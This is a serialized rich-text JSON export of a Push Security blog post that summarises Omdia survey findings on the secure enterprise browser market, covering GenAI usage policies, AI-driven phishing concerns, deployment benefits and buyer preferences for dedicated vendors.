an existing program budget, web security (26%) and endpoint security (21%) are the most common sources — while SASE/SSE accounts for just 9%, despite SASE vendors being the second most popular vendor category. That disconnect between vendor preference and budget origin suggests the SASE-bundled buying motion may be more aspirational than operational.",{"data":17354,"content":17355,"nodeType":866},{},[17356],{"data":17357,"marks":17358,"value":17359,"nodeType":865},{},[],"IT operations leadership is the top stakeholder in 82% of evaluations, with CISO and security leadership at 64% and CIOs at 42%. Day-to-day management sits primarily with IT Ops (77%) and SecOps (50%). This dual stakeholder picture — IT operations driving evaluation, security leadership providing strategic direction — shapes the competitive landscape in ways we'll come back to.",{"data":17361,"content":17362,"nodeType":972},{},[],{"data":17364,"content":17365,"nodeType":981},{},[17366],{"data":17367,"marks":17368,"value":17370,"nodeType":865},{},[17369],{"type":926},"4. AI is accelerating both the threat and the use case",{"data":17372,"content":17373,"nodeType":866},{},[17374],{"data":17375,"marks":17376,"value":17377,"nodeType":865},{},[],"AI shows up in this report from two directions, mirroring how it is reshaping the security landscape itself.",{"data":17379,"content":17380,"nodeType":866},{},[17381,17385,17390],{"data":17382,"marks":17383,"value":17384,"nodeType":865},{},[],"On the threat side, ",{"data":17386,"marks":17387,"value":17389,"nodeType":865},{},[17388],{"type":926},"AI-powered targeted phishing and social engineering is the top emerging concern",{"data":17391,"marks":17392,"value":17393,"nodeType":865},{},[],", cited by 75% of respondents as either very concerning or concerning. Data leakage via unsanctioned AI applications comes second at 71%, followed by deepfake/AI-generated malicious content at 69% and credential harvesting via fake AI or SaaS login pages at 66%. Every one of these threat categories involves the browser — AI-enhanced phishing lands in the browser, AI data leakage happens through browser-based AI tools, and fake AI login pages are browser-based credential harvesting.",{"data":17395,"content":17399,"nodeType":912},{"target":17396},{"sys":17397},{"id":17398,"type":909,"linkType":910},"2ajv2i5wn2GzKuyynQGlvq",[],{"data":17401,"content":17402,"nodeType":866},{},[17403,17407,17412],{"data":17404,"marks":17405,"value":17406,"nodeType":865},{},[],"On the adoption side, the picture is almost universal — and almost universally under-governed. ",{"data":17408,"marks":17409,"value":17411,"nodeType":865},{},[17410],{"type":926},"92% of organizations now allow employees to use public GenAI applications",{"data":17413,"marks":17414,"value":17415,"nodeType":865},{},[],", and virtually every organization has some kind of policy position: 37% have sanctioned one public app (with everything else unsanctioned), 39% have sanctioned multiple public apps (with others unsanctioned), and 23% restrict employees to a corporate instance while the public versions are unsanctioned. ",{"data":17417,"content":17418,"nodeType":866},{},[17419],{"data":17420,"marks":17421,"value":17422,"nodeType":865},{},[],"Even the 8% who don't allow GenAI at all have taken a policy position. Essentially 100% of organizations have a GenAI policy — but for the vast majority, that policy designates a large portion of public AI tool usage as unsanctioned, which raises the immediate question of whether they have the tooling to actually enforce it.",{"data":17424,"content":17425,"nodeType":866},{},[17426],{"data":17427,"marks":17428,"value":17429,"nodeType":865},{},[],"The answer, based on the current tooling landscape, appears to be: not quite. When Omdia asked how organizations currently secure GenAI usage, 58% rely on secure web gateways — tools that see traffic metadata but cannot observe what a user actually does inside a GenAI session — while 57% use secure browsing solutions and 57% use SaaS security solutions. ",{"data":17431,"content":17432,"nodeType":866},{},[17433],{"data":17434,"marks":17435,"value":17436,"nodeType":865},{},[],"An SWG can tell you that a user visited ChatGPT, but it cannot tell you whether they pasted your company's source code into the prompt. That distinction — between knowing where data went and knowing what the user actually did — is the fundamental gap that browser-layer visibility exists to close, and it is exactly the gap that makes GenAI policies unenforceable without browser-layer tooling.",{"data":17438,"content":17439,"nodeType":866},{},[17440,17444,17449],{"data":17441,"marks":17442,"value":17443,"nodeType":865},{},[],"The use case data reflects this. When Omdia asked about the most important use cases for a secure browsing solution, ",{"data":17445,"marks":17446,"value":17448,"nodeType":865},{},[17447],{"type":926},"generative AI application security came in first at 59%",{"data":17450,"marks":17451,"value":17452,"nodeType":865},{},[],", followed by data loss prevention at 51% and general web security enhancement at 42%. The feature priorities tell a consistent story: AI-powered threat detection and response (52%) and advanced GenAI usage controls and monitoring (41%) were the top two capabilities organizations said would be most important in a purchase decision. ",{"data":17454,"content":17455,"nodeType":866},{},[17456],{"data":17457,"marks":17458,"value":17459,"nodeType":865},{},[],"AI is both the top threat concern and the top use case for browser security — and it is a browser problem at both ends, because every LLM interaction, every prompt containing sensitive data, and every AI agent authorization happens inside a browser session.",{"data":17461,"content":17462,"nodeType":972},{},[],{"data":17464,"content":17465,"nodeType":981},{},[17466],{"data":17467,"marks":17468,"value":17470,"nodeType":865},{},[17469],{"type":926},"5. Organizations that have deployed secure enterprise browser solutions are seeing real results",{"data":17472,"content":17473,"nodeType":866},{},[17474],{"data":17475,"marks":17476,"value":17477,"nodeType":865},{},[],"One of the most useful sections in Omdia's report is the benefits data — what organizations that have deployed SEB solutions are actually getting out of them.",{"data":17479,"content":17480,"nodeType":866},{},[17481,17485,17490],{"data":17482,"marks":17483,"value":17484,"nodeType":865},{},[],"The top realized benefit is ",{"data":17486,"marks":17487,"value":17489,"nodeType":865},{},[17488],{"type":926},"improved data security, cited by 58% of respondents",{"data":17491,"marks":17492,"value":17493,"nodeType":865},{},[],", followed by fewer security incidents (49%), better visibility and auditing (47%), improved user experience (44%), and simplified configuration and policy management (41%). The picture that emerges is not just a security story but an operational one: organizations are seeing fewer incidents, better visibility, and simpler management alongside the security outcomes.",{"data":17495,"content":17496,"nodeType":866},{},[17497],{"data":17498,"marks":17499,"value":17500,"nodeType":865},{},[],"The 49% who cite fewer security incidents as a realized benefit is the number that matters most here, because it directly connects SEB deployment to measurable risk reduction. Organizations aren't just buying tools and hoping — they're deploying them and seeing fewer successful attacks as a result.",{"data":17502,"content":17503,"nodeType":972},{},[],{"data":17505,"content":17506,"nodeType":981},{},[17507],{"data":17508,"marks":17509,"value":17511,"nodeType":865},{},[17510],{"type":926},"6. The market wants protection in existing browsers, not migration",{"data":17513,"content":17514,"nodeType":866},{},[17515,17519,17524],{"data":17516,"marks":17517,"value":17518,"nodeType":865},{},[],"When Omdia asked what attributes matter most in a secure enterprise browser solution, ",{"data":17520,"marks":17521,"value":17523,"nodeType":865},{},[17522],{"type":926},"\"ability to use existing browsers\" ranked as the fourth most important attribute at 48%",{"data":17525,"marks":17526,"value":17527,"nodeType":865},{},[]," — behind only integration with other security tools (57%), controls over generative AI application usage (53%), and centralized policy enforcement (52%). ",{"data":17529,"content":17530,"nodeType":866},{},[17531],{"data":17532,"marks":17533,"value":17534,"nodeType":865},{},[],"That 48% figure, combined with 80% of respondents saying they expect to use an SEB solution as an integrated or alongside component rather than a replacement for existing tools, points to a clear market preference: organizations want browser security that works with their existing browser estate, not a migration to a new one.",{"data":17536,"content":17537,"nodeType":866},{},[17538,17542,17551],{"data":17539,"marks":17540,"value":17541,"nodeType":865},{},[],"This is consistent with what we hear from security leaders directly. As ",{"data":17543,"content":17545,"nodeType":889},{"uri":17544},"https://pushsecurity.com/customer-stories",[17546],{"data":17547,"marks":17548,"value":17550,"nodeType":865},{},[17549],{"type":943},"Josh Lemos put it: ",{"data":17552,"marks":17553,"value":17554,"nodeType":865},{},[],"\"We looked at the full-stack enterprise browser approach, but converging on a single platform was tough. Push gave me the security instrumentation and context I needed without onerous headwinds.\" The deployment model matters because it determines adoption velocity — and a tool that requires browser migration introduces friction that delays time to value.",{"data":17556,"content":17557,"nodeType":866},{},[17558,17562],{"data":17559,"marks":17560,"value":17561,"nodeType":865},{},[],"Push was built around this insight from day one. As the secure enterprise browser extension for security teams, Push turns any browser — managed or unmanaged, including agentic browsers — into a telemetry source and control point the moment it's installed. It has been rolled out to 100,000 users in under an hour during normal office hours with zero downtime. ",{"data":17563,"marks":17564,"value":17566,"nodeType":865},{},[17565],{"type":926},"That is a deployment model that matches what Omdia's respondents are asking for.",{"data":17568,"content":17569,"nodeType":972},{},[],{"data":17571,"content":17572,"nodeType":981},{},[17573],{"data":17574,"marks":17575,"value":17577,"nodeType":865},{},[17576],{"type":926},"7. Dedicated vendors lead over platform plays",{"data":17579,"content":17580,"nodeType":866},{},[17581,17585,17590],{"data":17582,"marks":17583,"value":17584,"nodeType":865},{},[],"When Omdia asked which category of vendor organizations primarily use or expect to use for secure enterprise browsing, ",{"data":17586,"marks":17587,"value":17589,"nodeType":865},{},[17588],{"type":926},"36% chose a dedicated SEB vendor",{"data":17591,"marks":17592,"value":17593,"nodeType":865},{},[]," — the largest single category. SASE/network security vendors came second at 29%, followed by traditional VDI/desktop virtualization vendors at 19% and endpoint platform vendors at 15%.",{"data":17595,"content":17596,"nodeType":866},{},[17597],{"data":17598,"marks":17599,"value":17600,"nodeType":865},{},[],"The dedicated category leads, and the reason isn't just first-mover advantage — it's architectural. The alternative paths each come with structural constraints. SASE and SSE platforms are network-centric: they see traffic metadata and enforce URL categorization, but they can't observe the rendered page inside a browser tab — the DOM structure, the script behavior, the credential entry that distinguishes a legitimate login from an AiTM reverse-proxy kit. ",{"data":17602,"content":17603,"nodeType":866},{},[17604],{"data":17605,"marks":17606,"value":17607,"nodeType":865},{},[],"Endpoint platforms that bolt on browser visibility are still anchored to the OS layer, solving for browser exploit prevention rather than in-session behavioral detection of the attacks that actually dominate — phishing, credential theft, session hijacking, extension compromise. And when large platform vendors acquire browser security capabilities, the integration work takes years rather than months, during which detection depth sits in a transitional state. ",{"data":17609,"content":17610,"nodeType":866},{},[17611],{"data":17612,"marks":17613,"value":17614,"nodeType":865},{},[],"Dedicated browser-native vendors start from a different premise entirely: the browser isn't a supplementary signal feeding into someone else's SASE pipeline or XDR correlation engine — it is the telemetry source and the control point. The browser is the only place where you get simultaneous visibility into both the attacker's technique and the employee's action within the same session, because the phishing page, the credential submission, the token exchange, and the data exfiltration all happen inside the same tab. No network appliance, endpoint agent, or identity provider log can see all of that, because none of them are present where the interaction occurs.",{"data":17616,"content":17617,"nodeType":866},{},[17618],{"data":17619,"marks":17620,"value":17621,"nodeType":865},{},[],"For security teams evaluating SEB solutions, the architecture matters more than the vendor category label. The capabilities Omdia's respondents ranked highest — integration with existing tools, GenAI controls, centralized policy enforcement, and the ability to use existing browsers — all point toward solutions that deliver detection depth through a lightweight deployment model, without browser migration and without the integration debt of a platform acquisition.",{"data":17623,"content":17624,"nodeType":972},{},[],{"data":17626,"content":17627,"nodeType":866},{},[17628],{"data":17629,"marks":17630,"value":17631,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. ",{"data":17633,"content":17634,"nodeType":866},{},[17635],{"data":17636,"marks":17637,"value":1363,"nodeType":865},{},[],{"data":17639,"content":17640,"nodeType":866},{},[17641,17644,17651],{"data":17642,"marks":17643,"value":21,"nodeType":865},{},[],{"data":17645,"content":17646,"nodeType":889},{"uri":1372},[17647],{"data":17648,"marks":17649,"value":7011,"nodeType":865},{},[17650],{"type":943},{"data":17652,"marks":17653,"value":2302,"nodeType":865},{},[],"7 things Omdia's latest report tells us about the secure enterprise browser market","Unpacking the latest research report from Omdia and what it means for the secure enterprise browser market.","2026-05-13T00:00:00.000Z","7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market",{"items":17659},[17660,17662],{"sys":17661,"name":297},{"id":2310},{"sys":17663,"name":2314},{"id":2313},{"items":17665},[17666],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":17667},{"url":7804},{"__typename":1429,"sys":17669,"content":17670,"title":16369,"synopsis":16370,"hashTags":59,"publishedDate":13337,"slug":16371,"tagsCollection":18491,"authorsCollection":18497},{"id":15406},{"json":17671},{"data":17672,"content":17673,"nodeType":1382},{},[17674,17696,17720,17753,17786,17791,17801,17804,17811,17853,17859,17878,17883,17886,17893,17917,17923,17930,17935,17938,17945,17951,17966,17972,18005,18011,18014,18021,18036,18078,18081,18088,18103,18118,18125,18131,18141,18151,18161,18171,18186,18193,18199,18202,18208,18214,18229,18232,18239,18254,18485],{"data":17675,"content":17676,"nodeType":866},{},[17677,17680,17686,17689,17693],{"data":17678,"marks":17679,"value":15417,"nodeType":865},{},[],{"data":17681,"content":17682,"nodeType":889},{"uri":4991},[17683],{"data":17684,"marks":17685,"value":8673,"nodeType":865},{},[],{"data":17687,"marks":17688,"value":15427,"nodeType":865},{},[],{"data":17690,"marks":17691,"value":15432,"nodeType":865},{},[17692],{"type":926},{"data":17694,"marks":17695,"value":15436,"nodeType":865},{},[],{"data":17697,"content":17698,"nodeType":866},{},[17699,17702,17708,17711,17717],{"data":17700,"marks":17701,"value":15443,"nodeType":865},{},[],{"data":17703,"content":17704,"nodeType":889},{"uri":15446},[17705],{"data":17706,"marks":17707,"value":15451,"nodeType":865},{},[],{"data":17709,"marks":17710,"value":15455,"nodeType":865},{},[],{"data":17712,"content":17713,"nodeType":889},{"uri":15458},[17714],{"data":17715,"marks":17716,"value":15463,"nodeType":865},{},[],{"data":17718,"marks":17719,"value":15467,"nodeType":865},{},[],{"data":17721,"content":17722,"nodeType":866},{},[17723,17726,17732,17735,17741,17744,17750],{"data":17724,"marks":17725,"value":15474,"nodeType":865},{},[],{"data":17727,"content":17728,"nodeType":889},{"uri":15477},[17729],{"data":17730,"marks":17731,"value":15482,"nodeType":865},{},[],{"data":17733,"marks":17734,"value":15486,"nodeType":865},{},[],{"data":17736,"content":17737,"nodeType":889},{"uri":15489},[17738],{"data":17739,"marks":17740,"value":15494,"nodeType":865},{},[],{"data":17742,"marks":17743,"value":15498,"nodeType":865},{},[],{"data":17745,"content":17746,"nodeType":889},{"uri":15501},[17747],{"data":17748,"marks":17749,"value":15506,"nodeType":865},{},[],{"data":17751,"marks":17752,"value":15510,"nodeType":865},{},[],{"data":17754,"content":17755,"nodeType":866},{},[17756,17759,17765,17768,17774,17777,17783],{"data":17757,"marks":17758,"value":15517,"nodeType":865},{},[],{"data":17760,"content":17761,"nodeType":889},{"uri":15520},[17762],{"data":17763,"marks":17764,"value":15525,"nodeType":865},{},[],{"data":17766,"marks":17767,"value":15529,"nodeType":865},{},[],{"data":17769,"content":17770,"nodeType":889},{"uri":15532},[17771],{"data":17772,"marks":17773,"value":15537,"nodeType":865},{},[],{"data":17775,"marks":17776,"value":15541,"nodeType":865},{},[],{"data":17778,"content":17779,"nodeType":889},{"uri":15544},[17780],{"data":17781,"marks":17782,"value":15549,"nodeType":865},{},[],{"data":17784,"marks":17785,"value":15553,"nodeType":865},{},[],{"data":17787,"content":17790,"nodeType":912},{"target":17788},{"sys":17789},{"id":15558,"type":909,"linkType":910},[],{"data":17792,"content":17793,"nodeType":866},{},[17794,17798],{"data":17795,"marks":17796,"value":15567,"nodeType":865},{},[17797],{"type":926},{"data":17799,"marks":17800,"value":15571,"nodeType":865},{},[],{"data":17802,"content":17803,"nodeType":972},{},[],{"data":17805,"content":17806,"nodeType":981},{},[17807],{"data":17808,"marks":17809,"value":15582,"nodeType":865},{},[17810],{"type":926},{"data":17812,"content":17813,"nodeType":866},{},[17814,17817,17823,17826,17832,17835,17841,17844,17850],{"data":17815,"marks":17816,"value":15589,"nodeType":865},{},[],{"data":17818,"content":17819,"nodeType":889},{"uri":15592},[17820],{"data":17821,"marks":17822,"value":15597,"nodeType":865},{},[],{"data":17824,"marks":17825,"value":14216,"nodeType":865},{},[],{"data":17827,"content":17828,"nodeType":889},{"uri":15603},[17829],{"data":17830,"marks":17831,"value":15608,"nodeType":865},{},[],{"data":17833,"marks":17834,"value":14629,"nodeType":865},{},[],{"data":17836,"content":17837,"nodeType":889},{"uri":15489},[17838],{"data":17839,"marks":17840,"value":15618,"nodeType":865},{},[],{"data":17842,"marks":17843,"value":15622,"nodeType":865},{},[],{"data":17845,"content":17846,"nodeType":889},{"uri":13633},[17847],{"data":17848,"marks":17849,"value":15629,"nodeType":865},{},[],{"data":17851,"marks":17852,"value":1615,"nodeType":865},{},[],{"data":17854,"content":17855,"nodeType":866},{},[17856],{"data":17857,"marks":17858,"value":15639,"nodeType":865},{},[],{"data":17860,"content":17861,"nodeType":866},{},[17862,17865,17871,17874],{"data":17863,"marks":17864,"value":15646,"nodeType":865},{},[],{"data":17866,"content":17867,"nodeType":889},{"uri":13633},[17868],{"data":17869,"marks":17870,"value":15653,"nodeType":865},{},[],{"data":17872,"marks":17873,"value":15657,"nodeType":865},{},[],{"data":17875,"marks":17876,"value":15662,"nodeType":865},{},[17877],{"type":926},{"data":17879,"content":17882,"nodeType":912},{"target":17880},{"sys":17881},{"id":15667,"type":909,"linkType":910},[],{"data":17884,"content":17885,"nodeType":972},{},[],{"data":17887,"content":17888,"nodeType":981},{},[17889],{"data":17890,"marks":17891,"value":15679,"nodeType":865},{},[17892],{"type":926},{"data":17894,"content":17895,"nodeType":866},{},[17896,17899,17905,17908,17914],{"data":17897,"marks":17898,"value":1449,"nodeType":865},{},[],{"data":17900,"content":17901,"nodeType":889},{"uri":13013},[17902],{"data":17903,"marks":17904,"value":15692,"nodeType":865},{},[],{"data":17906,"marks":17907,"value":15696,"nodeType":865},{},[],{"data":17909,"content":17910,"nodeType":889},{"uri":15501},[17911],{"data":17912,"marks":17913,"value":15703,"nodeType":865},{},[],{"data":17915,"marks":17916,"value":15707,"nodeType":865},{},[],{"data":17918,"content":17919,"nodeType":866},{},[17920],{"data":17921,"marks":17922,"value":15714,"nodeType":865},{},[],{"data":17924,"content":17925,"nodeType":866},{},[17926],{"data":17927,"marks":17928,"value":15722,"nodeType":865},{},[17929],{"type":926},{"data":17931,"content":17934,"nodeType":912},{"target":17932},{"sys":17933},{"id":15727,"type":909,"linkType":910},[],{"data":17936,"content":17937,"nodeType":972},{},[],{"data":17939,"content":17940,"nodeType":981},{},[17941],{"data":17942,"marks":17943,"value":15739,"nodeType":865},{},[17944],{"type":926},{"data":17946,"content":17947,"nodeType":866},{},[17948],{"data":17949,"marks":17950,"value":15746,"nodeType":865},{},[],{"data":17952,"content":17953,"nodeType":866},{},[17954,17957,17963],{"data":17955,"marks":17956,"value":1449,"nodeType":865},{},[],{"data":17958,"content":17959,"nodeType":889},{"uri":15755},[17960],{"data":17961,"marks":17962,"value":15760,"nodeType":865},{},[],{"data":17964,"marks":17965,"value":15764,"nodeType":865},{},[],{"data":17967,"content":17968,"nodeType":866},{},[17969],{"data":17970,"marks":17971,"value":15771,"nodeType":865},{},[],{"data":17973,"content":17974,"nodeType":866},{},[17975,17978,17984,17987,17993,17996,18002],{"data":17976,"marks":17977,"value":15778,"nodeType":865},{},[],{"data":17979,"content":17980,"nodeType":889},{"uri":15781},[17981],{"data":17982,"marks":17983,"value":15786,"nodeType":865},{},[],{"data":17985,"marks":17986,"value":15790,"nodeType":865},{},[],{"data":17988,"content":17989,"nodeType":889},{"uri":15793},[17990],{"data":17991,"marks":17992,"value":15798,"nodeType":865},{},[],{"data":17994,"marks":17995,"value":15802,"nodeType":865},{},[],{"data":17997,"content":17998,"nodeType":889},{"uri":3841},[17999],{"data":18000,"marks":18001,"value":15809,"nodeType":865},{},[],{"data":18003,"marks":18004,"value":15813,"nodeType":865},{},[],{"data":18006,"content":18007,"nodeType":866},{},[18008],{"data":18009,"marks":18010,"value":15820,"nodeType":865},{},[],{"data":18012,"content":18013,"nodeType":972},{},[],{"data":18015,"content":18016,"nodeType":981},{},[18017],{"data":18018,"marks":18019,"value":15831,"nodeType":865},{},[18020],{"type":926},{"data":18022,"content":18023,"nodeType":866},{},[18024,18027,18033],{"data":18025,"marks":18026,"value":15838,"nodeType":865},{},[],{"data":18028,"content":18029,"nodeType":889},{"uri":15841},[18030],{"data":18031,"marks":18032,"value":15846,"nodeType":865},{},[],{"data":18034,"marks":18035,"value":15850,"nodeType":865},{},[],{"data":18037,"content":18038,"nodeType":866},{},[18039,18042,18048,18051,18057,18060,18066,18069,18075],{"data":18040,"marks":18041,"value":15857,"nodeType":865},{},[],{"data":18043,"content":18044,"nodeType":889},{"uri":15860},[18045],{"data":18046,"marks":18047,"value":15865,"nodeType":865},{},[],{"data":18049,"marks":18050,"value":15869,"nodeType":865},{},[],{"data":18052,"content":18053,"nodeType":889},{"uri":15872},[18054],{"data":18055,"marks":18056,"value":15877,"nodeType":865},{},[],{"data":18058,"marks":18059,"value":15881,"nodeType":865},{},[],{"data":18061,"content":18062,"nodeType":889},{"uri":15884},[18063],{"data":18064,"marks":18065,"value":15889,"nodeType":865},{},[],{"data":18067,"marks":18068,"value":15893,"nodeType":865},{},[],{"data":18070,"content":18071,"nodeType":889},{"uri":15896},[18072],{"data":18073,"marks":18074,"value":15901,"nodeType":865},{},[],{"data":18076,"marks":18077,"value":15905,"nodeType":865},{},[],{"data":18079,"content":18080,"nodeType":972},{},[],{"data":18082,"content":18083,"nodeType":981},{},[18084],{"data":18085,"marks":18086,"value":15916,"nodeType":865},{},[18087],{"type":926},{"data":18089,"content":18090,"nodeType":866},{},[18091,18094,18100],{"data":18092,"marks":18093,"value":15923,"nodeType":865},{},[],{"data":18095,"content":18096,"nodeType":889},{"uri":1951},[18097],{"data":18098,"marks":18099,"value":15930,"nodeType":865},{},[],{"data":18101,"marks":18102,"value":15934,"nodeType":865},{},[],{"data":18104,"content":18105,"nodeType":866},{},[18106,18109,18115],{"data":18107,"marks":18108,"value":15941,"nodeType":865},{},[],{"data":18110,"content":18111,"nodeType":889},{"uri":15944},[18112],{"data":18113,"marks":18114,"value":315,"nodeType":865},{},[],{"data":18116,"marks":18117,"value":15952,"nodeType":865},{},[],{"data":18119,"content":18120,"nodeType":1317},{},[18121],{"data":18122,"marks":18123,"value":6331,"nodeType":865},{},[18124],{"type":926},{"data":18126,"content":18127,"nodeType":866},{},[18128],{"data":18129,"marks":18130,"value":15966,"nodeType":865},{},[],{"data":18132,"content":18133,"nodeType":866},{},[18134,18138],{"data":18135,"marks":18136,"value":15974,"nodeType":865},{},[18137],{"type":926},{"data":18139,"marks":18140,"value":15978,"nodeType":865},{},[],{"data":18142,"content":18143,"nodeType":866},{},[18144,18148],{"data":18145,"marks":18146,"value":15986,"nodeType":865},{},[18147],{"type":926},{"data":18149,"marks":18150,"value":15990,"nodeType":865},{},[],{"data":18152,"content":18153,"nodeType":866},{},[18154,18158],{"data":18155,"marks":18156,"value":15998,"nodeType":865},{},[18157],{"type":926},{"data":18159,"marks":18160,"value":16002,"nodeType":865},{},[],{"data":18162,"content":18163,"nodeType":866},{},[18164,18168],{"data":18165,"marks":18166,"value":16010,"nodeType":865},{},[18167],{"type":926},{"data":18169,"marks":18170,"value":16014,"nodeType":865},{},[],{"data":18172,"content":18173,"nodeType":866},{},[18174,18177,18183],{"data":18175,"marks":18176,"value":21,"nodeType":865},{},[],{"data":18178,"content":18179,"nodeType":889},{"uri":1256},[18180],{"data":18181,"marks":18182,"value":16027,"nodeType":865},{},[],{"data":18184,"marks":18185,"value":21,"nodeType":865},{},[],{"data":18187,"content":18188,"nodeType":1317},{},[18189],{"data":18190,"marks":18191,"value":16038,"nodeType":865},{},[18192],{"type":926},{"data":18194,"content":18195,"nodeType":866},{},[18196],{"data":18197,"marks":18198,"value":16045,"nodeType":865},{},[],{"data":18200,"content":18201,"nodeType":972},{},[],{"data":18203,"content":18204,"nodeType":866},{},[18205],{"data":18206,"marks":18207,"value":4591,"nodeType":865},{},[],{"data":18209,"content":18210,"nodeType":866},{},[18211],{"data":18212,"marks":18213,"value":1363,"nodeType":865},{},[],{"data":18215,"content":18216,"nodeType":866},{},[18217,18220,18226],{"data":18218,"marks":18219,"value":21,"nodeType":865},{},[],{"data":18221,"content":18222,"nodeType":889},{"uri":16069},[18223],{"data":18224,"marks":18225,"value":1378,"nodeType":865},{},[],{"data":18227,"marks":18228,"value":21,"nodeType":865},{},[],{"data":18230,"content":18231,"nodeType":972},{},[],{"data":18233,"content":18234,"nodeType":981},{},[18235],{"data":18236,"marks":18237,"value":16087,"nodeType":865},{},[18238],{"type":926},{"data":18240,"content":18241,"nodeType":866},{},[18242,18245,18251],{"data":18243,"marks":18244,"value":16094,"nodeType":865},{},[],{"data":18246,"content":18247,"nodeType":889},{"uri":4991},[18248],{"data":18249,"marks":18250,"value":16101,"nodeType":865},{},[],{"data":18252,"marks":18253,"value":16105,"nodeType":865},{},[],{"data":18255,"content":18256,"nodeType":2927},{},[18257,18300,18356,18399,18442],{"data":18258,"content":18259,"nodeType":2400},{},[18260,18270,18280,18290],{"data":18261,"content":18262,"nodeType":2366},{},[18263],{"data":18264,"content":18265,"nodeType":866},{},[18266],{"data":18267,"marks":18268,"value":16122,"nodeType":865},{},[18269],{"type":926},{"data":18271,"content":18272,"nodeType":2366},{},[18273],{"data":18274,"content":18275,"nodeType":866},{},[18276],{"data":18277,"marks":18278,"value":16133,"nodeType":865},{},[18279],{"type":926},{"data":18281,"content":18282,"nodeType":2366},{},[18283],{"data":18284,"content":18285,"nodeType":866},{},[18286],{"data":18287,"marks":18288,"value":16144,"nodeType":865},{},[18289],{"type":926},{"data":18291,"content":18292,"nodeType":2366},{},[18293],{"data":18294,"content":18295,"nodeType":866},{},[18296],{"data":18297,"marks":18298,"value":16155,"nodeType":865},{},[18299],{"type":926},{"data":18301,"content":18302,"nodeType":2400},{},[18303,18323,18332,18341],{"data":18304,"content":18305,"nodeType":2366},{},[18306],{"data":18307,"content":18308,"nodeType":866},{},[18309,18313,18316,18320],{"data":18310,"marks":18311,"value":16169,"nodeType":865},{},[18312],{"type":926},{"data":18314,"marks":18315,"value":16173,"nodeType":865},{},[],{"data":18317,"marks":18318,"value":16178,"nodeType":865},{},[18319],{"type":926},{"data":18321,"marks":18322,"value":16182,"nodeType":865},{},[],{"data":18324,"content":18325,"nodeType":2366},{},[18326],{"data":18327,"content":18328,"nodeType":866},{},[18329],{"data":18330,"marks":18331,"value":16192,"nodeType":865},{},[],{"data":18333,"content":18334,"nodeType":2366},{},[18335],{"data":18336,"content":18337,"nodeType":866},{},[18338],{"data":18339,"marks":18340,"value":16202,"nodeType":865},{},[],{"data":18342,"content":18343,"nodeType":2366},{},[18344,18350],{"data":18345,"content":18346,"nodeType":866},{},[18347],{"data":18348,"marks":18349,"value":16212,"nodeType":865},{},[],{"data":18351,"content":18352,"nodeType":866},{},[18353],{"data":18354,"marks":18355,"value":16219,"nodeType":865},{},[],{"data":18357,"content":18358,"nodeType":2400},{},[18359,18372,18381,18390],{"data":18360,"content":18361,"nodeType":2366},{},[18362],{"data":18363,"content":18364,"nodeType":866},{},[18365,18369],{"data":18366,"marks":18367,"value":16233,"nodeType":865},{},[18368],{"type":926},{"data":18370,"marks":18371,"value":16237,"nodeType":865},{},[],{"data":18373,"content":18374,"nodeType":2366},{},[18375],{"data":18376,"content":18377,"nodeType":866},{},[18378],{"data":18379,"marks":18380,"value":16247,"nodeType":865},{},[],{"data":18382,"content":18383,"nodeType":2366},{},[18384],{"data":18385,"content":18386,"nodeType":866},{},[18387],{"data":18388,"marks":18389,"value":16257,"nodeType":865},{},[],{"data":18391,"content":18392,"nodeType":2366},{},[18393],{"data":18394,"content":18395,"nodeType":866},{},[18396],{"data":18397,"marks":18398,"value":16267,"nodeType":865},{},[],{"data":18400,"content":18401,"nodeType":2400},{},[18402,18415,18424,18433],{"data":18403,"content":18404,"nodeType":2366},{},[18405],{"data":18406,"content":18407,"nodeType":866},{},[18408,18412],{"data":18409,"marks":18410,"value":16281,"nodeType":865},{},[18411],{"type":926},{"data":18413,"marks":18414,"value":16285,"nodeType":865},{},[],{"data":18416,"content":18417,"nodeType":2366},{},[18418],{"data":18419,"content":18420,"nodeType":866},{},[18421],{"data":18422,"marks":18423,"value":16295,"nodeType":865},{},[],{"data":18425,"content":18426,"nodeType":2366},{},[18427],{"data":18428,"content":18429,"nodeType":866},{},[18430],{"data":18431,"marks":18432,"value":16305,"nodeType":865},{},[],{"data":18434,"content":18435,"nodeType":2366},{},[18436],{"data":18437,"content":18438,"nodeType":866},{},[18439],{"data":18440,"marks":18441,"value":16315,"nodeType":865},{},[],{"data":18443,"content":18444,"nodeType":2400},{},[18445,18458,18467,18476],{"data":18446,"content":18447,"nodeType":2366},{},[18448],{"data":18449,"content":18450,"nodeType":866},{},[18451,18455],{"data":18452,"marks":18453,"value":16329,"nodeType":865},{},[18454],{"type":926},{"data":18456,"marks":18457,"value":16333,"nodeType":865},{},[],{"data":18459,"content":18460,"nodeType":2366},{},[18461],{"data":18462,"content":18463,"nodeType":866},{},[18464],{"data":18465,"marks":18466,"value":16192,"nodeType":865},{},[],{"data":18468,"content":18469,"nodeType":2366},{},[18470],{"data":18471,"content":18472,"nodeType":866},{},[18473],{"data":18474,"marks":18475,"value":16352,"nodeType":865},{},[],{"data":18477,"content":18478,"nodeType":2366},{},[18479],{"data":18480,"content":18481,"nodeType":866},{},[18482],{"data":18483,"marks":18484,"value":16362,"nodeType":865},{},[],{"data":18486,"content":18487,"nodeType":866},{},[18488],{"data":18489,"marks":18490,"value":21,"nodeType":865},{},[],{"items":18492},[18493,18495],{"sys":18494,"name":7796},{"id":7795},{"sys":18496,"name":342},{"id":4642},{"items":18498},[18499],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":18500},{"url":7804},{"__typename":1429,"sys":18502,"content":18503,"title":7015,"synopsis":7016,"hashTags":59,"publishedDate":7017,"slug":7018,"tagsCollection":18933,"authorsCollection":18939},{"id":6506},{"json":18504},{"data":18505,"content":18506,"nodeType":1382},{},[18507,18514,18538,18543,18549,18564,18577,18580,18587,18600,18616,18636,18641,18654,18678,18683,18688,18701,18704,18711,18717,18724,18740,18753,18760,18782,18788,18795,18819,18825,18832,18838,18843,18846,18853,18859,18866,18871,18874,18881,18887,18893,18899,18909,18912,18918],{"data":18508,"content":18509,"nodeType":981},{},[18510],{"data":18511,"marks":18512,"value":6518,"nodeType":865},{},[18513],{"type":926},{"data":18515,"content":18516,"nodeType":866},{},[18517,18520,18526,18529,18535],{"data":18518,"marks":18519,"value":6525,"nodeType":865},{},[],{"data":18521,"content":18522,"node